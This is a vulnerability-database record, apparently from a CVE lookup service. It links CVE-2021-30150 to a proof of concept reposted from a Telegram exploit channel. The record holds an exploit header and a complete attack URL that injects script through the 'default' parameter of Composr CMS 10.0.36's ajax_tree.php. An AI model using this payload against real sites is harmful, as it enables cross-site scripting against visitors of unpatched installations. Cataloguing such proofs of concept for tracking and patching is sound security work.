{"uuid": "921c17c4-00a6-49a1-94da-147b5e34a23a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30150", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4060", "content": "Exploit Collector\nComposr CMS 10.0.36 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png \nComposr CMS version 10.0.36 suffers from a cross site scripting vulnerability.\n\nMD5 | 7557702ccddf1edf3bec1d21a0ca5250\n\nDownload\n# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting\n# Date: 04/06/2021\n# Exploit Author: Orion Hridoy\n# Vendor Homepage: https://compo.sr/\n# Software Link: https://compo.sr/download.htm\n# Version: 10.0.36\n# Tested on: Windows/Linux\n# CVE : CVE-2021-30150\n\nVulnerable Endpoint:\nhttps://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:\"must_accept_something\";b:1;s:6:\"purity\";b:0;s:14:\"addable_filter\";b:1;s:6:\"filter\";N;s:9:\"member_id\";N;}&default=<something:scriptalert(\"Hello\")\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T12:00:05.631489Z"}